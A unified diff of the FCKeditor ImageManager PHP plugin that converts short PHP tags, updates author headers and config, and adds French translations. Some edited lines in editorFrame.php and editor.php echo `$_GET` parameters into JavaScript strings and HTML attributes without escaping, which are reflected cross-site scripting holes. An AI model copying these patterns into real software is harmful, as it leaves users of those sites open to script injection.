++<?php
+ /**
+  * Create thumbnails.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+-
+-require_once('Transform.php');
++
++require_once('Transform.php');
+ /**
+  * Thumbnail creation
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  * @subpackage Images
+  */
+-class Thumbnail 
+-{
+-      /**
+-       * Graphics driver, GD, NetPBM or ImageMagick.
+-       */
+-      var $driver;
+-
+-      /**
+-       * Thumbnail default width.
+-       */
+-      var $width = 96;
+-
+-      /**
+-       * Thumbnail default height.
+-       */
+-      var $height = 96;
+-
+-      /**
+-       * Thumbnail default JPEG quality.
+-       */
+-      var $quality = 85;
+-
+-      /**
+-       * Thumbnail is proportional
+-       */
+-      var $proportional = true;
+-
+-      /**
+-       * Default image type is JPEG.
+-       */
+-      var $type = 'jpeg';
+-
+-      /**
+-       * Create a new Thumbnail instance.
+-       * @param int $width thumbnail width
+-       * @param int $height thumbnail height
+-       */
+-      function Thumbnail($width=96, $height=96) 
+-      {
+-              $this->driver = Image_Transform::factory(IMAGE_CLASS);
+-              $this->width = $width;
+-              $this->height = $height;
+-      }
+-
+-      /**
+-       * Create a thumbnail.
+-       * @param string $file the image for the thumbnail
+-       * @param string $thumbnail if not null, the thumbnail will be saved
+-       * as this parameter value.
+-       * @return boolean true if thumbnail is created, false otherwise
+-       */
+-      function createThumbnail($file, $thumbnail=null) 
+-      {
+-              if(!is_file($file)) 
+-                      Return false;
+-
+-              //error_log('Creating Thumbs: '.$file);
+-
+-              $this->driver->load($file);
+-
+-              if($this->proportional) 
+-              {
+-                      $width = $this->driver->img_x;
+-                      $height = $this->driver->img_y;
+-
+-                      if ($width > $height)
+-                              $this->height = intval($this->width/$width*$height);
+-                      else if ($height > $width)
+-                              $this->width = intval($this->height/$height*$width);
+-              }
+-
+-              $this->driver->resize($this->width, $this->height);
+-
+-              if(is_null($thumbnail)) 
+-                      $this->save($file);
+-              else
+-                      $this->save($thumbnail);
+-
+-
+-              $this->free();
+-
+-              if(is_file($thumbnail)) 
+-                      Return true;
+-              else
+-                      Return false;
+-      }
+-
+-      /**
+-       * Save the thumbnail file.
+-       * @param string $file file name to be saved as.
+-       */
+-      function save($file) 
+-      {
+-              $this->driver->save($file);
+-      }
+-
+-      /**
+-       * Free up the graphic driver resources.
+-       */
+-      function free() 
+-      {
+-              $this->driver->free();
+-      }
++class Thumbnail 
++{
++      /**
++       * Graphics driver, GD, NetPBM or ImageMagick.
++       */
++      var $driver;
++
++      /**
++       * Thumbnail default width.
++       */
++      var $width = 96;
++
++      /**
++       * Thumbnail default height.
++       */
++      var $height = 96;
++
++      /**
++       * Thumbnail default JPEG quality.
++       */
++      var $quality = 85;
++
++      /**
++       * Thumbnail is proportional
++       */
++      var $proportional = true;
++
++      /**
++       * Default image type is JPEG.
++       */
++      var $type = 'jpeg';
++
++      /**
++       * Create a new Thumbnail instance.
++       * @param int $width thumbnail width
++       * @param int $height thumbnail height
++       */
++      function Thumbnail($width=96, $height=96) 
++      {
++              $this->driver = Image_Transform::factory(IMAGE_CLASS);
++              $this->width = $width;
++              $this->height = $height;
++      }
++
++      /**
++       * Create a thumbnail.
++       * @param string $file the image for the thumbnail
++       * @param string $thumbnail if not null, the thumbnail will be saved
++       * as this parameter value.
++       * @return boolean true if thumbnail is created, false otherwise
++       */
++      function createThumbnail($file, $thumbnail=null) 
++      {
++              if(!is_file($file)) 
++                      Return false;
++
++              //error_log('Creating Thumbs: '.$file);
++
++              $this->driver->load($file);
++
++              if($this->proportional) 
++              {
++                      $width = $this->driver->img_x;
++                      $height = $this->driver->img_y;
++
++                      if ($width > $height)
++                              $this->height = intval($this->width/$width*$height);
++                      else if ($height > $width)
++                              $this->width = intval($this->height/$height*$width);
++              }
++
++              $this->driver->resize($this->width, $this->height);
++
++              if(is_null($thumbnail)) 
++                      $this->save($file);
++              else
++                      $this->save($thumbnail);
++
++
++              $this->free();
++
++              if(is_file($thumbnail)) 
++                      Return true;
++              else
++                      Return false;
++      }
++
++      /**
++       * Save the thumbnail file.
++       * @param string $file file name to be saved as.
++       */
++      function save($file) 
++      {
++              $this->driver->save($file);
++      }
++
++      /**
++       * Free up the graphic driver resources.
++       */
++      function free() 
++      {
++              $this->driver->free();
++      }
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/config.inc.php ./config.inc.php
+--- /ImageManager_20062020/config.inc.php      2006-06-20 22:17:32.000000000 +0200
++++ ./config.inc.php   2006-12-20 19:39:39.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+ /**
+  * Image Manager configuration file.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+@@ -16,7 +16,7 @@
+        PHP must be able to create files in this directory.
+          Able to create directories is nice, but not necessary.
+ */
+-#$IMConfig['base_dir'] = '/var/www/FCKeditor/images/';
++$IMConfig['base_dir'] = '/var/www/FCKeditor/images/';
+ /*
+  The URL to the above path, the web browser needs to be able to see it.
+@@ -27,8 +27,7 @@
+  in this directory and its subdirectories.
+ */
+ $IMConfig['base_url'] = 'http://www.saulmade.nl/FCKeditor/images/';
+-//$IMConfig['base_dir'] = $_SERVER['DOCUMENT_ROOT'].$IMConfig['base_url'];
+-$IMConfig['base_dir'] = '/home/saulmade.nl/www/FCKeditor/images/';
++
+ $IMConfig['server_name'] = $_SERVER['SERVER_NAME'];
+ /*
+@@ -152,10 +151,7 @@
+   Specifying none will hide watermarking functionality.
+ */
+ $IMConfig['watermarks'] = array       (
+-                                                                                                      "imageManager.png",
+-                                                                                                      "imageManager.jpg",
+-                                                                                                      "devshed.png",
+-                                                                                                      "natureWatermark.png"
++                                                                                                      "imageManager.png"
+                                                                                               );
+ /*
+@@ -194,4 +190,4 @@
+   Image Editor temporary filename prefix.
+ */
+ $IMConfig['tmp_prefix'] = '.editor_';
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
+diff -u -r /ImageManager_20062020/editorFrame.php ./editorFrame.php
+--- /ImageManager_20062020/editorFrame.php     2006-06-20 22:17:32.000000000 +0200
++++ ./editorFrame.php  2006-12-20 19:19:28.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+       /**
+        * The frame that contains the image to be edited.
+-       * @author $Author: matrix $
+-       * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+-       * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++       * @author Wei Zhuo
++       * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++       * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+        * @package ImageManager
+        */
+@@ -49,7 +49,7 @@
+ <script type="text/javascript">
+ // <![CDATA[
+-      var processedAction = "<?=$_GET['action']?>";
++      var processedAction = "<?php echo (isset($_GET['action']) ? $_GET['action'] : ''); ?>";
+       if (processedAction == 'replace' && parent.old)
+       {
+@@ -101,8 +101,8 @@
+ <script type="text/javascript">
+-      var mode = "<? echo $editor->getAction(); ?>" //crop, scale, measure
+-      var currentImageFile = "<? if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
++      var mode = "<?php echo $editor->getAction(); ?>" //crop, scale, measure
++      var currentImageFile = "<?php if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+       if(window.top)
+       {
+@@ -120,7 +120,7 @@
+ </script>
+ <script type="text/javascript">
+-<?
++<?php
+       if ($editor->isFileSaved() == 1)
+       {
+ ?>
+@@ -159,28 +159,32 @@
+       // save message
+       var message = i18n('File saved.');
+-<?
++<?php
+       if ($editor->forcedNewName != false)
+       {
+ ?>
+-      message += '\n' + i18n('File name was changed into ') +  '<?=$editor->forcedNewName?>';
+-<?
++      message += '\n' + i18n('File name was changed into ') +  '<?php echo $editor->forcedNewName; ?>';
++<?php
+       }
+ ?>
+       alert(message);
+-<?
++<?php
+       }
+       else if ($editor->isFileSaved() == -1)
+       {
+ ?>
+       alert(i18n('File was not saved.'));
+-<?
++<?php
+       }
+ ?>
+       // show action buttons and current action's controls - were hidden during processing
+       if (processedAction != '')
+       {
++              if ('flip' == processedAction)
++              {
++                      processedAction = 'rotate';
++              }
+               var tools = parent.document.getElementById('tools_' + processedAction);
+               tools.style.display = 'block';
+               var buttons = parent.document.getElementById('buttons');
+@@ -193,12 +197,12 @@
+       imagesArray = new Array();
+       // first clear all its options
+       watermarkBox.options.length = 0;
+-<?
++<?php
+       foreach($IMConfig['watermarks'] as $watermark)
+       {
+               $watermarkInfo = @getImageSize($IMConfig['base_dir'] . $watermark);
+               // populate
+-              if ($watermarkInfo[0] < $imageInfo[width] && $watermarkInfo[1] < $imageInfo[height])
++              if ($watermarkInfo[0] < $imageInfo['width'] && $watermarkInfo[1] < $imageInfo['height'] && $watermarkInfo[0] != '')
+               {
+                       $pos = strrpos(basename($watermark), ".");
+                       $filename = substr(basename($watermark), 0, $pos);
+@@ -243,23 +247,25 @@
+ <body>
+ <div id="status"></div>
+ <div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+-<? if ($editor->isGDEditable() == -1) { ?>
++<?php if ($editor->isGDEditable() == -1) { ?>
+       <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+-<? } ?>
++<?php } ?>
+ <table height="100%" width="100%">
+       <tr>
+               <td>
+-<? if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
++<?php if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+-              <div id="background" name="background" style="margin: auto; width: <? echo $imageInfo['width']; ?>px; height: <? echo $imageInfo['height']; ?>px; background-image: url(<? echo $imageInfo['src']; ?>);">
+-                      <img name="floater" id="floater" style="width: 150px; height: 150px; behavior: url('assets/pngbehavior.htc'); position: absolute" src="<?= $IMConfig['base_url'] . $IMConfig['watermarks'][0] ?>" />
++              <div id="background" name="background" style="margin: auto; width: <?php echo $imageInfo['width']; ?>px; height: <?php echo $imageInfo['height']; ?>px; background-image: url(<?php echo $imageInfo['src']; ?>);">
++              <?php if (count($IMConfig['watermarks']) > 0) { ?>
++                      <img name="floater" id="floater" style="width: 150px; height: 150px; behavior: url('assets/pngbehavior.htc'); position: absolute" src="<?php echo $IMConfig['base_url'] . $IMConfig['watermarks'][0]; ?>" />
++              <?php } ?>
+               </div>
+-              <span id="imgCanvas" name="imgCanvas" class="crop" style="display: none;"><img src="<? echo $imageInfo['src']; ?>" <? echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage" /></span>
++              <span id="imgCanvas" name="imgCanvas" class="crop" style="display: none;"><img src="<?php echo $imageInfo['src']; ?>" <?php echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage" /></span>
+-<? } else { ?>
++<?php } else { ?>
+                               <span class="error">No Image Available</span>
+-<? } ?>
++<?php } ?>
+               </td>
+       </tr>
+ </table>
+@@ -279,13 +285,13 @@
+               verifyBounds();
+               dd.elements.floater.nimg.style.behavior = "url('assets/pngbehavior.htc')";
+-<?
++<?php
+       if (isset($_GET['action']))
+       {
+               if ($_GET['action'] == "watermark")
+               {?>
+                               dd.elements.floater.show();
+-              <?}
++              <?php }
+       }
+ ?>
+       }
+@@ -306,4 +312,4 @@
+ // ]]>
+ </script>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/editor.php ./editor.php
+--- /ImageManager_20062020/editor.php  2006-06-20 22:17:32.000000000 +0200
++++ ./editor.php       2006-12-17 14:53:34.000000000 +0100
+@@ -1,9 +1,9 @@
+-<?
++<?php
+ /**
+  * The PHP Image Editor user interface.
+- * @author $Author: matrix $
+- * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+@@ -79,9 +79,9 @@
+               <table>
+               <tr>
+                       <td>
+-                              <form action="editorFrame.php?img=<?=$_GET['img']?>&action=replace" target='editor' id="uploadForm" method="post" enctype="multipart/form-data">
++                              <form action="editorFrame.php?img=<?php echo $_GET['img']?>&action=replace" target='editor' id="uploadForm" method="post" enctype="multipart/form-data">
+                                       &nbsp;<input type="file" name="upload" id="upload"/>
+-                                      <input type="hidden" name="dir" id="dir" value="<?=dirname($img)?>" />
++                                      <input type="hidden" name="dir" id="dir" value="<?php echo dirname($_GET['img'])?>" />
+                               </form>
+                       </td>
+                       <td>
+@@ -189,7 +189,7 @@
+               <option value="90">Rotate 90 &deg; CW</option>
+               <option value="-90">Rotate 90 &deg; CCW</option>
+          </select>
+-                      <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" />
++                      <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" value="0"/>
+                       <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+               </div>  
+               <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+@@ -219,32 +219,32 @@
+       </div>
+       <div id="tools_save" style="display:none;">
+-<? if($IMConfig['demo'] != true) { ?>
++<?php if($IMConfig['demo'] != true) { ?>
+               <div id="tool_inputs">
+-      <? if($IMConfig['allow_newFileName'] == true) { ?>
+-                      <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<? if($IMConfig['allow_overwrite'] == false){ echo $editor->getDefaultSaveFile(); }else{ echo basename($_GET['img']); } ?>" />
+-      <? }else{ ?>
+-                      <input type="hidden" id="save_filename" value="<? echo basename($_GET['img']); ?>" />
+-      <? } ?>
++      <?php if($IMConfig['allow_newFileName'] == true) { ?>
++                      <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<?php if($IMConfig['allow_overwrite'] == false){ echo $editor->getDefaultSaveFile(); }else{ echo basename($_GET['img']); } ?>" />
++      <?php }else{ ?>
++                      <input type="hidden" id="save_filename" value="<?php echo basename($_GET['img']); ?>" />
++      <?php } ?>
+-      <?
++      <?php
+       $pos = strrpos($_GET['img'], ".");
+       $ext = substr($_GET['img'], $pos + 1);
+       ?>
+-                      <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle; <? if($IMConfig['allow_newFileName'] != true && $ext != "jpg" && $ext != "jpeg") {echo "display: none;";} ?>" onchange="updateFormat(this)">
++                      <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle; <?php if($IMConfig['allow_newFileName'] != true && $ext != "jpg" && $ext != "jpeg") {echo "display: none;";} ?>" onchange="updateFormat(this)">
+             <option value="" selected>Image Format</option>
+             <option value="">---------------------</option>
+             <option value="jpeg,85">JPEG High</option>
+             <option value="jpeg,60">JPEG Medium</option>
+             <option value="jpeg,35">JPEG Low</option>
+-                      <? if($IMConfig['allow_newFileName'] == true){ ?>
++                      <?php if($IMConfig['allow_newFileName'] == true){ ?>
+             <option value="png">PNG</option>
+-                      <?    if($editor->isGDGIFAble() != -1) { ?>
++                      <?php    if($editor->isGDGIFAble() != -1) { ?>
+             <option value="gif">GIF</option>
+-                      <?    } ?>
+-                      <? } ?>
++                      <?php    } ?>
++                      <?php } ?>
+                       </select>
+                       <label>Quality:</label>
+@@ -263,21 +263,21 @@
+               </div>  
+               <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+-      <? }else{ ?>
++      <?php }else{ ?>
+               <div id="tool_inputs" style="text-align: center; width: 90%; font-size: 150%; font-weight: bold; letter-spacing: 3px; color: #474767;">
+                       <label>Demo</label>
+               </div>  
+-      <? } ?>
++      <?php } ?>
+       </div>  
+ </div>
+ <div id="toolbar">
+       <div id="buttons">
+-              <a href="javascript:toggle('replace')" id="icon_replace" title="Replace" <? if($IMConfig['allow_replace'] == false) { echo "style=\"display: none;\""; } ?> ><img src="img/replace.gif" height="20" width="20" alt="Replace" /><span>Replace</span></a>
+-              <a href="javascript:toggle('watermark')" id="icon_watermark" title="Watermark" <? if(empty($IMConfig['watermarks'])) { echo "style=\"display: none;\""; } ?> ><img src="img/watermark.gif" height="20" width="20" alt="Watermark" /><span>Watermark</span></a>
++              <a href="javascript:toggle('replace')" id="icon_replace" title="Replace" <?php if($IMConfig['allow_replace'] == false) { echo "style=\"display: none;\""; } ?> ><img src="img/replace.gif" height="20" width="20" alt="Replace" /><span>Replace</span></a>
++              <a href="javascript:toggle('watermark')" id="icon_watermark" title="Watermark" <?php if(empty($IMConfig['watermarks'])) { echo "style=\"display: none;\""; } ?> ><img src="img/watermark.gif" height="20" width="20" alt="Watermark" /><span>Watermark</span></a>
+               <a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+               <a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+               <a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+@@ -288,8 +288,8 @@
+ </div>
+ <div id="contents">
+ <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+-<iframe src="editorFrame.php?img=<? if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
++<iframe src="editorFrame.php?img=<?php if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+ </div>
+ <div id="bottom"></div>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/fckplugin.js ./fckplugin.js
+--- /ImageManager_20062020/fckplugin.js        2006-06-20 22:17:32.000000000 +0200
++++ ./fckplugin.js     2006-12-21 22:39:28.000000000 +0100
+@@ -8,6 +8,7 @@
+ // PHP image manager http://www.zhuo.org/htmlarea/
+ // ================================================
+ // Revision: 1.0                   Date: 06/03/2005
++// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ // ================================================
+@@ -146,7 +147,8 @@
+                               im = FCK.CreateElement('IMG');                                  
+                       }
+-                      // set image attributes                         
++                      // set image attributes 
++                      setAttrib(im, "_fcksavedurl", param.f_url, true);                       
+                       setAttrib(im, 'src', param.f_url, true);                                
+                       setAttrib(im, 'alt', param.f_alt, true);
+                       setAttrib(im, 'title', param.f_title, true);
+@@ -174,7 +176,7 @@
+ // Version 3.0 developed by Mihai Bazon.
+ //   http://dynarch.com/mishoo
+ //
+-// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++// Id: dialog.js 26 2004-03-31 02:35:21Z Wei Zhuo 
+ // Though "Dialog" looks like an object, it isn't really an object.  Instead
+ // it's just namespace for protecting global symbols.
+diff -u -r /ImageManager_20062020/images.php ./images.php
+--- /ImageManager_20062020/images.php  2006-06-20 22:17:32.000000000 +0200
++++ ./images.php       2006-12-16 22:38:13.000000000 +0100
+@@ -1,8 +1,8 @@
+-<?
++<?php
+ /**
+  * Show a list of images in a long horizontal table.
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+@@ -54,15 +54,15 @@
+       foreach($list as $entry => $file) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+-              <a href="javascript:;" onclick="selectImage('<? echo $file['relative'];?>', '<? echo $entry; ?>', <? echo $file['image'][0];?>, <? echo $file['image'][1]; ?>);"title="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"><img src="<? echo $manager->getThumbnail($file['relative']); ?>" alt="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"/></a>
++              <a href="javascript:;" onclick="selectImage('<?php echo $file['relative'];?>', '<?php echo $entry; ?>', <?php echo $file['image'][0];?>, <?php echo $file['image'][1]; ?>);"title="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"><img src="<?php echo $manager->getThumbnail($file['relative']); ?>" alt="<?php echo $entry; ?> - <?php echo Files::formatSize($file['stat']['size']); ?>"/></a>
+               </td></tr><tr><td class="edit">
+-              <? if($IMConfig['allow_delete'] == true) { ?>
+-                      <a href="images.php?dir=<? echo $relative; ?>&amp;delf=<? echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<? echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+-              <? } ?>
+-                      <a href="javascript:;" title="Edit" onclick="editImage('<? echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
+-              <? if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
++              <?php if($IMConfig['allow_delete'] == true) { ?>
++                      <a href="images.php?dir=<?php echo $relative; ?>&amp;delf=<?php echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<?php echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
++              <?php } ?>
++                      <a href="javascript:;" title="Edit" onclick="editImage('<?php echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
++              <?php if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
+               </td></tr></table></td> 
+-        <? 
++        <?php 
+       }//foreach
+ }//function drawFiles
+@@ -77,14 +77,14 @@
+       foreach($list as $path => $dir) 
+       { ?>
+               <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+-              <a href="images.php?dir=<? echo rawurlencode($path); ?>" onclick="updateDir('<? echo $path; ?>')" title="<? echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<? echo $dir['entry']; ?>" /></a>
++              <a href="images.php?dir=<?php echo rawurlencode($path); ?>" onclick="updateDir('<?php echo $path; ?>')" title="<?php echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<?php echo $dir['entry']; ?>" /></a>
+               </td></tr><tr>
+               <td class="edit">
+-                      <a href="images.php?dir=<? echo $relative; ?>&amp;deld=<? echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<? echo $dir['entry']; ?>', <? echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+-                      <? echo $dir['entry']; ?>
++                      <a href="images.php?dir=<?php echo $relative; ?>&amp;deld=<?php echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<?php echo $dir['entry']; ?>', <?php echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
++                      <?php echo $dir['entry']; ?>
+               </td>
+               </tr></table></td>
+-        <? 
++        <?php 
+       } //foreach
+ }//function drawDirs
+@@ -100,7 +100,7 @@
+     <td class="noResult">No Images Found</td>
+   </tr>
+ </table>
+-<?    
++<?php 
+ }
+ /**
+@@ -111,10 +111,10 @@
+ ?>
+ <table width="100%">
+   <tr>
+-    <td class="error">Invalid base directory: <? echo $manager->config['base_dir']; ?></td>
++    <td class="error">Invalid base directory: <?php echo $manager->config['base_dir']; ?></td>
+   </tr>
+ </table>
+-<?    
++<?php 
+ }
+ ?>
+@@ -145,7 +145,7 @@
+               hideMessage();
+               var topDoc = window.top.document;
+-<? 
++<?php 
+       //we need to refesh the drop directory list
+       //save the current dir, delete all select options
+       //add the new list, re-select the saved dir.
+@@ -159,10 +159,10 @@
+               while(selection.length > 0)
+               {       selection.remove(0); }
+               
+-              selection.options[selection.length] = new Option("/","<? echo rawurlencode('/'); ?>");  
+-              <? foreach($dirs as $relative=>$fullpath) { ?>
+-              selection.options[selection.length] = new Option("<? echo $relative; ?>","<? echo rawurlencode($relative); ?>");                
+-              <? } ?>
++              selection.options[selection.length] = new Option("/","<?php echo rawurlencode('/'); ?>");       
++              <?php foreach($dirs as $relative=>$fullpath) { ?>
++              selection.options[selection.length] = new Option("<?php echo $relative; ?>","<?php echo rawurlencode($relative); ?>");          
++              <?php } ?>
+               
+               for(var i = 0; i < selection.length; i++)
+               {
+@@ -173,7 +173,7 @@
+                               break;
+                       }
+               }               
+-<? } ?>
++<?php } ?>
+       }       
+       function editImage(image) 
+@@ -196,14 +196,14 @@
+ </head>
+ <body>
+-<? if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
++<?php if ($manager->isValidBase() == false) { drawErrorBase($manager); } 
+       elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>
+ <table>
+       <tr>
+-      <? drawDirs($list[0], $manager); ?>
+-      <? drawFiles($list[1], $manager); ?>
++      <?php drawDirs($list[0], $manager); ?>
++      <?php drawFiles($list[1], $manager); ?>
+       </tr>
+ </table>
+-<? } else { drawNoResults(); } ?>
++<?php } else { drawNoResults(); } ?>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/lang/fr.js ./lang/fr.js
+--- /ImageManager_20062020/lang/fr.js  2006-06-20 22:17:46.000000000 +0200
++++ ./lang/fr.js       2006-12-17 12:46:48.000000000 +0100
+@@ -1,7 +1,8 @@
+ // I18N constants
+ // LANG: "fr", ENCODING: UTF-8
+-// Author: ?
++// Author: Thierry Bothorel (update)
++// $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ // Updated for FCKeditor by: Paul Moers, http://fckplugins.saulmade.nl
+ // FOR TRANSLATORS:
+@@ -86,19 +87,19 @@
+       "Padding:"                                                                              : "Espacement:",
+       "Border:"                                                                               : "Bordure:",
+       "Upload:"                                                                               : "Télétransmission:",
+-      "File name was changed into "           : "File name was changed into ", // not translated yet
+-      "start x coordinate"                                                    : "start x coordinate", // not translated yet
+-      "start y coordinate"                                                    : "start y coordinate", // not translated yet
++      "File name was changed into "           : "Le nom du fichier a été changé en ",
++      "start x coordinate"                                                    : "début coordonnée x",
++      "start y coordinate"                                                    : "début coordonnée y",
+       "height"                                                                                        : "hauteur",
+       "width"                                                                                 : "longueur",
+       "angle"                                                                                 : "angle",
+       "opacity"                                                                               : "opacité",
+-      "diagonal length"                                                       : "diagonal length", // not translated yet
+-      "Watermarking is disabled."                     : "Watermarking is disabled.", // not translated yet
+-      "No watermarks were found or all watermarks are to big for the target image."           : "No watermarks were found or all watermarks are to big for the target image.", // not translated yet
++      "diagonal length"                                                       : "longueur diagonale",
++      "Watermarking is disabled."                     : "Filigranes désactivés.",
++      "No watermarks were found or all watermarks are to big for the target image."           : "Aucun filigrane trouvé ou tous les filigranes sont trop grands pour cette image.",
+       "Please delete all files/folders inside the folder you wish to delete first."                           : "Veuillez tout d'abord supprimer tous les fichiers et répertoires contenus",
+       "Invalid folder name, please choose another folder name."                                                                       : "Nom de répertoire invalide, veuillez choisir un autre nom",
+       "GIF format is not supported, image editing not supported."                                                             : "Format GIF non supporté, édition d'image non supportée",
+-      "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Please do not close the window while uploading a new image! If you do, the original image gets deleted!", // not translated yet
+-      "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." // not translated yet
+-};
+\ Pas de fin de ligne à la fin du fichier.
++      "Please do not close the window while uploading a new image! If you do, the original image gets deleted!" : "Ne FERMEZ PAS CETTE FENETRE pendant l'envoi d'une nouvelle image sinon l'image originale sera quand même supprimée !",
++      "Error: Couldn't update editor window.\nAny image that was edited and saved will still be visible as the old version!\nPlease save and reload the editor content." : "Erreur: Impossible d'actualiser la fenêtre de l'éditeur.\nL'image qui a été éditée et sauvegardée apparaitra toujours comme non modifiée !\nVeuillez sauvegarder et recharger le contenu de l'éditeur."
++};
+diff -u -r /ImageManager_20062020/manager.php ./manager.php
+--- /ImageManager_20062020/manager.php 2006-06-20 22:17:32.000000000 +0200
++++ ./manager.php      2006-12-17 15:57:17.000000000 +0100
+@@ -1,8 +1,8 @@
+-<?
++<?php
+ /**
+  * The main GUI for the ImageManager.
+- * @author $Author: matrix $
